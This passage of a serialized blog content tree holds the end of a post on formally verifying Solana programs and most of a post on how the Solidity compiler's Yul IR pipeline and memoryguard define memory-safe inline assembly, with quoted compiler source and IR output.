effectively.",{"type":24,"tag":1019,"props":30721,"children":30723},{"id":30722},"runtime-environment",[30724],{"type":29,"value":30725},"Runtime Environment",{"type":24,"tag":25,"props":30727,"children":30728},{},[30729],{"type":29,"value":30730},"While these techniques are quite capable of verifying pure-Rust constructs such as the logical flow of the program, use of Rust types, etc... other aspects of the Solana runtime environment are more difficult to verify.",{"type":24,"tag":25,"props":30732,"children":30733},{},[30734],{"type":29,"value":30735},"For example, a program may resize accounts to store variable amounts of data. These types of custom serialization algorithms require specialized techniques to verify account invariants. For example, a bug with account serialization could undermine \"correct\" account logic.",{"type":24,"tag":25,"props":30737,"children":30738},{},[30739],{"type":29,"value":30740},"Another example is cross-program invocation (CPI). While account data cannot be changed by other programs, when you invoke other instructions it becomes more difficult to verify instruction invariants. An instruction three levels down could fail and cause the whole transaction to revert.",{"type":24,"tag":850,"props":30742,"children":30744},{"id":30743},"conclusion",[30745],{"type":29,"value":20741},{"type":24,"tag":25,"props":30747,"children":30748},{},[30749],{"type":29,"value":30750},"Computer security is far from being a solved problem. Formal verification is a great technique but it is not a magic bullet. While it can help you verify the correctness of your program it won't catch 100% of the bugs. It won't stop you from specifying the wrong invariants or forgetting things, and it can't help you if there is a bug outside of the scope of the model — for example in the runtime or consensus layer.",{"type":24,"tag":25,"props":30752,"children":30753},{},[30754],{"type":29,"value":30755},"Disclaimer out of the way, we believe that formal verification can still be a very useful tool when applied correctly. We've demonstrated that it is possible to automatically prove invariants about Solana programs in a tractable and user-friendly way.",{"type":24,"tag":20586,"props":30757,"children":30758},{},[],{"type":24,"tag":25,"props":30760,"children":30761},{},[30762],{"type":24,"tag":842,"props":30763,"children":30764},{},[30765,30767,30772,30773,30777],{"type":29,"value":30766},"We're excited to keep pushing this research forward and enhance the security of the whole Solana ecosystem. Our tools are still in development but we're interested in working with other teams. If you have a Solana program you want to get formally verified, give us a shout! Fill out ",{"type":24,"tag":69,"props":30768,"children":30770},{"href":20669,"rel":30769},[73],[30771],{"type":29,"value":20673},{"type":29,"value":20675},{"type":24,"tag":69,"props":30774,"children":30775},{"href":20678},[30776],{"type":29,"value":20681},{"type":29,"value":226},{"type":24,"tag":5249,"props":30779,"children":30780},{},[30781],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":30783},[30784,30790,30794,30799,30805,30809],{"id":20744,"depth":200,"text":20747,"children":30785},[30786,30787,30788,30789],{"id":20750,"depth":239,"text":20753},{"id":20818,"depth":239,"text":20821},{"id":21699,"depth":239,"text":21702},{"id":21739,"depth":239,"text":21742},{"id":21792,"depth":200,"text":30791,"children":30792},"Specification: How can we describe what we want our program to do?",[30793],{"id":21906,"depth":239,"text":21909},{"id":23266,"depth":200,"text":23269,"children":30795},[30796,30797,30798],{"id":23943,"depth":239,"text":23946},{"id":24228,"depth":239,"text":24231},{"id":24372,"depth":239,"text":24375},{"id":24513,"depth":200,"text":24516,"children":30800},[30801,30802,30803,30804],{"id":24584,"depth":239,"text":24587},{"id":26447,"depth":239,"text":26450},{"id":27249,"depth":239,"text":24576},{"id":29775,"depth":239,"text":24581},{"id":30615,"depth":200,"text":30618,"children":30806},[30807,30808],{"id":30621,"depth":239,"text":30624},{"id":30722,"depth":239,"text":30725},{"id":30743,"depth":200,"text":20741},"content:blog:2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs.md","blog/2023-01-26-formally-verifying-solana-programs",{"_path":30814,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":30815,"description":30816,"author":8106,"image":30817,"date":30819,"isFeatured":16,"onBlogPage":16,"tags":30820,"body":30822,"_type":5270,"_id":32242,"_source":5272,"_file":32243,"_stem":32244,"_extension":5275},"/blog/2023-07-28-solidity-compilers-memory-safety","Solidity Compilers: Memory Safety","An exploration into the Solidity compilation pipeline, optimization assumptions, and how it all relates back to memory-safe assembly.",{"src":30818,"height":14,"width":14},"/posts/solidity-compilers-memory-safety/header.jpg","2023-07-28",[6860,30821],"compiler",{"type":21,"children":30823,"toc":32233},[30824,30830,30866,30878,30884,30906,30919,31067,31088,31093,31114,31119,31127,31132,31137,31142,31148,31167,31172,31193,31256,31269,31299,31319,31346,31351,31364,31369,31374,31387,31418,31441,31595,31613,31664,31683,31708,31713,31719,31746,31766,31794,31799,31821,31840,31848,31859,31864,31880,32137,32145,32150,32154,32159,32164,32229],{"type":24,"tag":850,"props":30825,"children":30827},{"id":30826},"introduction",[30828],{"type":29,"value":30829},"Introduction",{"type":24,"tag":25,"props":30831,"children":30832},{},[30833,30835,30841,30842,30846,30848,30855,30857,30864],{"type":29,"value":30834},"What does ",{"type":24,"tag":32,"props":30836,"children":30838},{"className":30837},[],[30839],{"type":29,"value":30840},"memory-safe",{"type":29,"value":2877},{"type":24,"tag":842,"props":30843,"children":30844},{},[30845],{"type":29,"value":11662},{"type":29,"value":30847}," mean? What guarantees does Solidity expose when you're dealing with inline assembly? The documentation ",{"type":24,"tag":69,"props":30849,"children":30852},{"href":30850,"rel":30851},"https://docs.soliditylang.org/en/v0.8.20/assembly.html#memory-safety",[73],[30853],{"type":29,"value":30854},"presents some requirements",{"type":29,"value":30856},", but is production code that ",{"type":24,"tag":69,"props":30858,"children":30861},{"href":30859,"rel":30860},"https://github.com/Vectorized/solady/blob/main/src/utils/SafeTransferLib.sol#L165-L166",[73],[30862],{"type":29,"value":30863},"violates these requirements",{"type":29,"value":30865}," necessarily unsafe?",{"type":24,"tag":25,"props":30867,"children":30868},{},[30869,30871,30876],{"type":29,"value":30870},"In this blog post, we present a high-level overview of the Solidity compiler. We'll also dive into the optimization pipeline, language lawyering, and present an argument for what ",{"type":24,"tag":842,"props":30872,"children":30873},{},[30874],{"type":29,"value":30875},"memory-safety",{"type":29,"value":30877}," actually means.",{"type":24,"tag":850,"props":30879,"children":30881},{"id":30880},"compiler-pipeline",[30882],{"type":29,"value":30883},"Compiler Pipeline",{"type":24,"tag":25,"props":30885,"children":30886},{},[30887,30889,30896,30898,30905],{"type":29,"value":30888},"For brevity's sake, we'll only cover the YUL IR Solidity compilation pipeline ",{"type":24,"tag":69,"props":30890,"children":30893},{"href":30891,"rel":30892},"https://blog.soliditylang.org/2022/03/16/solidity-0.8.13-release-announcement/",[73],[30894],{"type":29,"value":30895},"released in v0.8.13",{"type":29,"value":30897},". Compilation happens ",{"type":24,"tag":69,"props":30899,"children":30902},{"href":30900,"rel":30901},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[73],[30903],{"type":29,"value":30904},"in two main steps",{"type":29,"value":78},{"type":24,"tag":3100,"props":30907,"children":30908},{},[30909,30914],{"type":24,"tag":3104,"props":30910,"children":30911},{},[30912],{"type":29,"value":30913},"Solidity to YUL IR",{"type":24,"tag":3104,"props":30915,"children":30916},{},[30917],{"type":29,"value":30918},"YUL IR to EVM opcodes",{"type":24,"tag":80,"props":30920,"children":30924},{"className":30921,"code":30922,"language":30923,"meta":7,"style":7},"language-cpp shiki shiki-themes slack-dark"," if (m_viaIR || m_generateIR || m_generateEwasm)\n generateIR(*contract);\n if (m_generateEvmBytecode)\n {\n if (m_viaIR)\n generateEVMFromIR(*contract);\n else\n compileContract(*contract, otherCompilers);\n }\n","cpp",[30925],{"type":24,"tag":32,"props":30926,"children":30927},{"__ignoreMap":7},[30928,30958,30979,30991,30999,31011,31031,31039,31060],{"type":24,"tag":90,"props":30929,"children":30930},{"class":92,"line":93},[30931,30935,30940,30944,30949,30953],{"type":24,"tag":90,"props":30932,"children":30933},{"style":636},[30934],{"type":29,"value":639},{"type":24,"tag":90,"props":30936,"children":30937},{"style":114},[30938],{"type":29,"value":30939}," (m_viaIR ",{"type":24,"tag":90,"props":30941,"children":30942},{"style":120},[30943],{"type":29,"value":24215},{"type":24,"tag":90,"props":30945,"children":30946},{"style":114},[30947],{"type":29,"value":30948}," m_generateIR ",{"type":24,"tag":90,"props":30950,"children":30951},{"style":120},[30952],{"type":29,"value":24215},{"type":24,"tag":90,"props":30954,"children":30955},{"style":114},[30956],{"type":29,"value":30957}," m_generateEwasm)\n",{"type":24,"tag":90,"props":30959,"children":30960},{"class":92,"line":200},[30961,30966,30970,30974],{"type":24,"tag":90,"props":30962,"children":30963},{"style":108},[30964],{"type":29,"value":30965}," generateIR",{"type":24,"tag":90,"props":30967,"children":30968},{"style":114},[30969],{"type":29,"value":117},{"type":24,"tag":90,"props":30971,"children":30972},{"style":120},[30973],{"type":29,"value":983},{"type":24,"tag":90,"props":30975,"children":30976},{"style":114},[30977],{"type":29,"value":30978},"contract);\n",{"type":24,"tag":90,"props":30980,"children":30981},{"class":92,"line":239},[30982,30986],{"type":24,"tag":90,"props":30983,"children":30984},{"style":636},[30985],{"type":29,"value":639},{"type":24,"tag":90,"props":30987,"children":30988},{"style":114},[30989],{"type":29,"value":30990}," (m_generateEvmBytecode)\n",{"type":24,"tag":90,"props":30992,"children":30993},{"class":92,"line":248},[30994],{"type":24,"tag":90,"props":30995,"children":30996},{"style":114},[30997],{"type":29,"value":30998}," {\n",{"type":24,"tag":90,"props":31000,"children":31001},{"class":92,"line":258},[31002,31006],{"type":24,"tag":90,"props":31003,"children":31004},{"style":636},[31005],{"type":29,"value":5667},{"type":24,"tag":90,"props":31007,"children":31008},{"style":114},[31009],{"type":29,"value":31010}," (m_viaIR)\n",{"type":24,"tag":90,"props":31012,"children":31013},{"class":92,"line":272},[31014,31019,31023,31027],{"type":24,"tag":90,"props":31015,"children":31016},{"style":108},[31017],{"type":29,"value":31018}," generateEVMFromIR",{"type":24,"tag":90,"props":31020,"children":31021},{"style":114},[31022],{"type":29,"value":117},{"type":24,"tag":90,"props":31024,"children":31025},{"style":120},[31026],{"type":29,"value":983},{"type":24,"tag":90,"props":31028,"children":31029},{"style":114},[31030],{"type":29,"value":30978},{"type":24,"tag":90,"props":31032,"children":31033},{"class":92,"line":281},[31034],{"type":24,"tag":90,"props":31035,"children":31036},{"style":636},[31037],{"type":29,"value":31038}," else\n",{"type":24,"tag":90,"props":31040,"children":31041},{"class":92,"line":384},[31042,31047,31051,31055],{"type":24,"tag":90,"props":31043,"children":31044},{"style":108},[31045],{"type":29,"value":31046}," compileContract",{"type":24,"tag":90,"props":31048,"children":31049},{"style":114},[31050],{"type":29,"value":117},{"type":24,"tag":90,"props":31052,"children":31053},{"style":120},[31054],{"type":29,"value":983},{"type":24,"tag":90,"props":31056,"children":31057},{"style":114},[31058],{"type":29,"value":31059},"contract, otherCompilers);\n",{"type":24,"tag":90,"props":31061,"children":31062},{"class":92,"line":420},[31063],{"type":24,"tag":90,"props":31064,"children":31065},{"style":114},[31066],{"type":29,"value":612},{"type":24,"tag":25,"props":31068,"children":31069},{},[31070,31072,31079,31080,31087],{"type":29,"value":31071},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":24,"tag":69,"props":31073,"children":31076},{"href":31074,"rel":31075},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[73],[31077],{"type":29,"value":31078},"YulStack::optimize",{"type":29,"value":13360},{"type":24,"tag":69,"props":31081,"children":31084},{"href":31082,"rel":31083},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[73],[31085],{"type":29,"value":31086},"Assembly::optimize",{"type":29,"value":226},{"type":24,"tag":25,"props":31089,"children":31090},{},[31091],{"type":29,"value":31092},"In total, there are four steps.",{"type":24,"tag":3100,"props":31094,"children":31095},{},[31096,31100,31105,31109],{"type":24,"tag":3104,"props":31097,"children":31098},{},[31099],{"type":29,"value":30913},{"type":24,"tag":3104,"props":31101,"children":31102},{},[31103],{"type":29,"value":31104},"Optimization of YUL IR",{"type":24,"tag":3104,"props":31106,"children":31107},{},[31108],{"type":29,"value":30918},{"type":24,"tag":3104,"props":31110,"children":31111},{},[31112],{"type":29,"value":31113},"Optimization of EVM opcodes",{"type":24,"tag":25,"props":31115,"children":31116},{},[31117],{"type":29,"value":31118},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":24,"tag":5339,"props":31120,"children":31121},{},[31122],{"type":24,"tag":25,"props":31123,"children":31124},{},[31125],{"type":29,"value":31126},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":24,"tag":25,"props":31128,"children":31129},{},[31130],{"type":29,"value":31131},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":24,"tag":25,"props":31133,"children":31134},{},[31135],{"type":29,"value":31136},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":24,"tag":25,"props":31138,"children":31139},{},[31140],{"type":29,"value":31141},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":24,"tag":850,"props":31143,"children":31145},{"id":31144},"guarantees",[31146],{"type":29,"value":31147},"Guarantees",{"type":24,"tag":25,"props":31149,"children":31150},{},[31151,31152,31159,31161,31166],{"type":29,"value":3131},{"type":24,"tag":69,"props":31153,"children":31156},{"href":31154,"rel":31155},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[73],[31157],{"type":29,"value":31158},"Solidity memory layout",{"type":29,"value":31160}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":24,"tag":842,"props":31162,"children":31163},{},[31164],{"type":29,"value":31165},"no information about this layout",{"type":29,"value":226},{"type":24,"tag":25,"props":31168,"children":31169},{},[31170],{"type":29,"value":31171},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":24,"tag":25,"props":31173,"children":31174},{},[31175,31177,31183,31185,31191],{"type":29,"value":31176},"Introducing ",{"type":24,"tag":32,"props":31178,"children":31180},{"className":31179},[],[31181],{"type":29,"value":31182},"memoryguard",{"type":29,"value":31184},". If you've ever looked at the output of ",{"type":24,"tag":32,"props":31186,"children":31188},{"className":31187},[],[31189],{"type":29,"value":31190},"solc --ir",{"type":29,"value":31192},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":24,"tag":80,"props":31194,"children":31196},{"className":6861,"code":31195,"language":6860,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n store(64, memoryguard(0x80))\n",[31197],{"type":24,"tag":32,"props":31198,"children":31199},{"__ignoreMap":7},[31200,31218],{"type":24,"tag":90,"props":31201,"children":31202},{"class":92,"line":93},[31203,31208,31213],{"type":24,"tag":90,"props":31204,"children":31205},{"style":252},[31206],{"type":29,"value":31207}," /// @src 0:26:371 \"contract ",{"type":24,"tag":90,"props":31209,"children":31210},{"style":97},[31211],{"type":29,"value":31212},"XXX",{"type":24,"tag":90,"props":31214,"children":31215},{"style":252},[31216],{"type":29,"value":31217}," {...\"\n",{"type":24,"tag":90,"props":31219,"children":31220},{"class":92,"line":200},[31221,31226,31230,31235,31239,31243,31247,31252],{"type":24,"tag":90,"props":31222,"children":31223},{"style":108},[31224],{"type":29,"value":31225}," store",{"type":24,"tag":90,"props":31227,"children":31228},{"style":114},[31229],{"type":29,"value":117},{"type":24,"tag":90,"props":31231,"children":31232},{"style":349},[31233],{"type":29,"value":31234},"64",{"type":24,"tag":90,"props":31236,"children":31237},{"style":114},[31238],{"type":29,"value":133},{"type":24,"tag":90,"props":31240,"children":31241},{"style":108},[31242],{"type":29,"value":31182},{"type":24,"tag":90,"props":31244,"children":31245},{"style":114},[31246],{"type":29,"value":117},{"type":24,"tag":90,"props":31248,"children":31249},{"style":349},[31250],{"type":29,"value":31251},"0x80",{"type":24,"tag":90,"props":31253,"children":31254},{"style":114},[31255],{"type":29,"value":21507},{"type":24,"tag":25,"props":31257,"children":31258},{},[31259,31261,31268],{"type":29,"value":31260},"From ",{"type":24,"tag":69,"props":31262,"children":31265},{"href":31263,"rel":31264},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[73],[31266],{"type":29,"value":31267},"the documentation",{"type":29,"value":6510},{"type":24,"tag":5339,"props":31270,"children":31271},{},[31272],{"type":24,"tag":25,"props":31273,"children":31274},{},[31275,31277,31283,31285,31291,31293,31298],{"type":29,"value":31276},"The caller of ",{"type":24,"tag":32,"props":31278,"children":31280},{"className":31279},[],[31281],{"type":29,"value":31282},"let ptr := memoryguard(size)",{"type":29,"value":31284}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":24,"tag":32,"props":31286,"children":31288},{"className":31287},[],[31289],{"type":29,"value":31290},"[0, size)",{"type":29,"value":31292}," or the unbounded range starting at ",{"type":24,"tag":32,"props":31294,"children":31296},{"className":31295},[],[31297],{"type":29,"value":395},{"type":29,"value":226},{"type":24,"tag":25,"props":31300,"children":31301},{},[31302,31304,31309,31311,31317],{"type":29,"value":31303},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":24,"tag":32,"props":31305,"children":31307},{"className":31306},[],[31308],{"type":29,"value":31182},{"type":29,"value":31310}," return ",{"type":24,"tag":32,"props":31312,"children":31314},{"className":31313},[],[31315],{"type":29,"value":31316},"size + 32",{"type":29,"value":31318},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":24,"tag":25,"props":31320,"children":31321},{},[31322,31324,31331,31333,31338,31340,31345],{"type":29,"value":31323},"An example of this optimization in practice ",{"type":24,"tag":69,"props":31325,"children":31328},{"href":31326,"rel":31327},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[73],[31329],{"type":29,"value":31330},"is the StackLimitEvader",{"type":29,"value":31332},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":24,"tag":842,"props":31334,"children":31335},{},[31336],{"type":29,"value":31337},"only",{"type":29,"value":31339}," optimization pass that relies on the semantic information communicated by ",{"type":24,"tag":32,"props":31341,"children":31343},{"className":31342},[],[31344],{"type":29,"value":31182},{"type":29,"value":226},{"type":24,"tag":25,"props":31347,"children":31348},{},[31349],{"type":29,"value":31350},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":24,"tag":25,"props":31352,"children":31353},{},[31354,31356,31362],{"type":29,"value":31355},"Fear not, for we can remove this pointer entirely and call ",{"type":24,"tag":32,"props":31357,"children":31359},{"className":31358},[],[31360],{"type":29,"value":31361},"memoryguard(0x60)",{"type":29,"value":31363}," instead. The rest of the pipeline will still work.",{"type":24,"tag":850,"props":31365,"children":31366},{"id":30875},[31367],{"type":29,"value":31368},"Memory Safety",{"type":24,"tag":25,"props":31370,"children":31371},{},[31372],{"type":29,"value":31373},"So what does memory safety mean?",{"type":24,"tag":25,"props":31375,"children":31376},{},[31377,31379,31385],{"type":29,"value":31378},"The Solidity documentation provides ",{"type":24,"tag":69,"props":31380,"children":31382},{"href":30850,"rel":31381},[73],[31383],{"type":29,"value":31384},"a set of constraints",{"type":29,"value":31386},", not a definition.",{"type":24,"tag":5339,"props":31388,"children":31389},{},[31390,31395],{"type":24,"tag":25,"props":31391,"children":31392},{},[31393],{"type":29,"value":31394},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":24,"tag":3100,"props":31396,"children":31397},{},[31398,31403,31408,31413],{"type":24,"tag":3104,"props":31399,"children":31400},{},[31401],{"type":29,"value":31402},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":24,"tag":3104,"props":31404,"children":31405},{},[31406],{"type":29,"value":31407},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":24,"tag":3104,"props":31409,"children":31410},{},[31411],{"type":29,"value":31412},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":24,"tag":3104,"props":31414,"children":31415},{},[31416],{"type":29,"value":31417},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":24,"tag":25,"props":31419,"children":31420},{},[31421,31423,31430,31440],{"type":29,"value":31422},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":24,"tag":69,"props":31424,"children":31427},{"href":31425,"rel":31426},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[73],[31428],{"type":29,"value":31429},"removes the memory guard",{"type":24,"tag":1978,"props":31431,"children":31432},{},[31433],{"type":24,"tag":69,"props":31434,"children":31438},{"href":31435,"ariaDescribedBy":31436,"dataFootnoteRef":7,"id":31437},"#user-content-fn-1",[1985],"user-content-fnref-1",[31439],{"type":29,"value":534},{"type":29,"value":226},{"type":24,"tag":80,"props":31442,"children":31444},{"className":30921,"code":31443,"language":30923,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n Whiskers{\n _useMemoryGuard ?\n \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n }\n",[31445],{"type":24,"tag":32,"props":31446,"children":31447},{"__ignoreMap":7},[31448,31456,31464,31471,31507,31514,31522,31530,31538,31546,31554,31567,31580,31588],{"type":24,"tag":90,"props":31449,"children":31450},{"class":92,"line":93},[31451],{"type":24,"tag":90,"props":31452,"children":31453},{"style":252},[31454],{"type":29,"value":31455},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":24,"tag":90,"props":31457,"children":31458},{"class":92,"line":200},[31459],{"type":24,"tag":90,"props":31460,"children":31461},{"style":252},[31462],{"type":29,"value":31463},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":24,"tag":90,"props":31465,"children":31466},{"class":92,"line":239},[31467],{"type":24,"tag":90,"props":31468,"children":31469},{"emptyLinePlaceholder":16},[31470],{"type":29,"value":245},{"type":24,"tag":90,"props":31472,"children":31473},{"class":92,"line":248},[31474,31479,31484,31489,31493,31498,31503],{"type":24,"tag":90,"props":31475,"children":31476},{"style":146},[31477],{"type":29,"value":31478},"string",{"type":24,"tag":90,"props":31480,"children":31481},{"style":114},[31482],{"type":29,"value":31483}," IRGenerator::",{"type":24,"tag":90,"props":31485,"children":31486},{"style":108},[31487],{"type":29,"value":31488},"memoryInit",{"type":24,"tag":90,"props":31490,"children":31491},{"style":114},[31492],{"type":29,"value":117},{"type":24,"tag":90,"props":31494,"children":31495},{"style":97},[31496],{"type":29,"value":31497},"bool",{"type":24,"tag":90,"props":31499,"children":31500},{"style":136},[31501],{"type":29,"value":31502}," _useMemoryGuard",{"type":24,"tag":90,"props":31504,"children":31505},{"style":114},[31506],{"type":29,"value":1686},{"type":24,"tag":90,"props":31508,"children":31509},{"class":92,"line":258},[31510],{"type":24,"tag":90,"props":31511,"children":31512},{"style":114},[31513],{"type":29,"value":2221},{"type":24,"tag":90,"props":31515,"children":31516},{"class":92,"line":272},[31517],{"type":24,"tag":90,"props":31518,"children":31519},{"style":252},[31520],{"type":29,"value":31521}," // This function should be called at the beginning of the EVM call frame\n",{"type":24,"tag":90,"props":31523,"children":31524},{"class":92,"line":281},[31525],{"type":24,"tag":90,"props":31526,"children":31527},{"style":252},[31528],{"type":29,"value":31529}," // and thus can assume all memory to be zero, including the contents of\n",{"type":24,"tag":90,"props":31531,"children":31532},{"class":92,"line":384},[31533],{"type":24,"tag":90,"props":31534,"children":31535},{"style":252},[31536],{"type":29,"value":31537}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":24,"tag":90,"props":31539,"children":31540},{"class":92,"line":420},[31541],{"type":24,"tag":90,"props":31542,"children":31543},{"style":636},[31544],{"type":29,"value":31545}," return\n",{"type":24,"tag":90,"props":31547,"children":31548},{"class":92,"line":428},[31549],{"type":24,"tag":90,"props":31550,"children":31551},{"style":114},[31552],{"type":29,"value":31553}," Whiskers{\n",{"type":24,"tag":90,"props":31555,"children":31556},{"class":92,"line":437},[31557,31562],{"type":24,"tag":90,"props":31558,"children":31559},{"style":114},[31560],{"type":29,"value":31561}," _useMemoryGuard ",{"type":24,"tag":90,"props":31563,"children":31564},{"style":120},[31565],{"type":29,"value":31566},"?\n",{"type":24,"tag":90,"props":31568,"children":31569},{"class":92,"line":574},[31570,31575],{"type":24,"tag":90,"props":31571,"children":31572},{"style":1085},[31573],{"type":29,"value":31574}," \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":24,"tag":90,"props":31576,"children":31577},{"style":120},[31578],{"type":29,"value":31579}," :\n",{"type":24,"tag":90,"props":31581,"children":31582},{"class":92,"line":606},[31583],{"type":24,"tag":90,"props":31584,"children":31585},{"style":1085},[31586],{"type":29,"value":31587}," \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":24,"tag":90,"props":31589,"children":31590},{"class":92,"line":615},[31591],{"type":24,"tag":90,"props":31592,"children":31593},{"style":114},[31594],{"type":29,"value":8257},{"type":24,"tag":25,"props":31596,"children":31597},{},[31598,31603,31605,31611],{"type":24,"tag":32,"props":31599,"children":31601},{"className":31600},[],[31602],{"type":29,"value":31190},{"type":29,"value":31604}," will now no longer have ",{"type":24,"tag":32,"props":31606,"children":31608},{"className":31607},[],[31609],{"type":29,"value":31610},"memoryguard(0x80)",{"type":29,"value":31612}," as expected.",{"type":24,"tag":80,"props":31614,"children":31616},{"className":6861,"code":31615,"language":6860,"meta":7,"style":7}," /// @src 0:26:371 \"contract XXX {...\"\n mstore(64, 128)\n",[31617],{"type":24,"tag":32,"props":31618,"children":31619},{"__ignoreMap":7},[31620,31635],{"type":24,"tag":90,"props":31621,"children":31622},{"class":92,"line":93},[31623,31627,31631],{"type":24,"tag":90,"props":31624,"children":31625},{"style":252},[31626],{"type":29,"value":31207},{"type":24,"tag":90,"props":31628,"children":31629},{"style":97},[31630],{"type":29,"value":31212},{"type":24,"tag":90,"props":31632,"children":31633},{"style":252},[31634],{"type":29,"value":31217},{"type":24,"tag":90,"props":31636,"children":31637},{"class":92,"line":200},[31638,31643,31647,31651,31655,31660],{"type":24,"tag":90,"props":31639,"children":31640},{"style":108},[31641],{"type":29,"value":31642}," mstore",{"type":24,"tag":90,"props":31644,"children":31645},{"style":114},[31646],{"type":29,"value":117},{"type":24,"tag":90,"props":31648,"children":31649},{"style":349},[31650],{"type":29,"value":31234},{"type":24,"tag":90,"props":31652,"children":31653},{"style":114},[31654],{"type":29,"value":133},{"type":24,"tag":90,"props":31656,"children":31657},{"style":349},[31658],{"type":29,"value":31659},"128",{"type":24,"tag":90,"props":31661,"children":31662},{"style":114},[31663],{"type":29,"value":1686},{"type":24,"tag":25,"props":31665,"children":31666},{},[31667,31669,31674,31676,31681],{"type":29,"value":31668},"Semantically, the absence of ",{"type":24,"tag":32,"props":31670,"children":31672},{"className":31671},[],[31673],{"type":29,"value":31182},{"type":29,"value":31675}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":24,"tag":32,"props":31677,"children":31679},{"className":31678},[],[31680],{"type":29,"value":31182},{"type":29,"value":31682}," invariant.",{"type":24,"tag":5339,"props":31684,"children":31685},{},[31686],{"type":24,"tag":25,"props":31687,"children":31688},{},[31689,31690,31695,31696,31701,31702,31707],{"type":29,"value":31276},{"type":24,"tag":32,"props":31691,"children":31693},{"className":31692},[],[31694],{"type":29,"value":31282},{"type":29,"value":31284},{"type":24,"tag":32,"props":31697,"children":31699},{"className":31698},[],[31700],{"type":29,"value":31290},{"type":29,"value":31292},{"type":24,"tag":32,"props":31703,"children":31705},{"className":31704},[],[31706],{"type":29,"value":395},{"type":29,"value":226},{"type":24,"tag":25,"props":31709,"children":31710},{},[31711],{"type":29,"value":31712},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":24,"tag":850,"props":31714,"children":31716},{"id":31715},"undefined-behavior",[31717],{"type":29,"value":31718},"Undefined Behavior",{"type":24,"tag":25,"props":31720,"children":31721},{},[31722,31724,31729,31731,31736,31738,31744],{"type":29,"value":31723},"How strict is memory safety? When it comes to ",{"type":24,"tag":32,"props":31725,"children":31727},{"className":31726},[],[31728],{"type":29,"value":31182},{"type":29,"value":31730},", only touching memory after 0x80 seems to matter. Is ",{"type":24,"tag":32,"props":31732,"children":31734},{"className":31733},[],[31735],{"type":29,"value":30840},{"type":29,"value":31737}," annotated assembly that touches memory at ",{"type":24,"tag":32,"props":31739,"children":31741},{"className":31740},[],[31742],{"type":29,"value":31743},"[0x40, 0x7f]",{"type":29,"value":31745}," really safe?",{"type":24,"tag":25,"props":31747,"children":31748},{},[31749,31750,31757,31759,31764],{"type":29,"value":3131},{"type":24,"tag":69,"props":31751,"children":31754},{"href":31752,"rel":31753},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[73],[31755],{"type":29,"value":31756},"Solidity documentation",{"type":29,"value":31758}," mentions ",{"type":24,"tag":842,"props":31760,"children":31761},{},[31762],{"type":29,"value":31763},"undefined behavior",{"type":29,"value":31765}," three 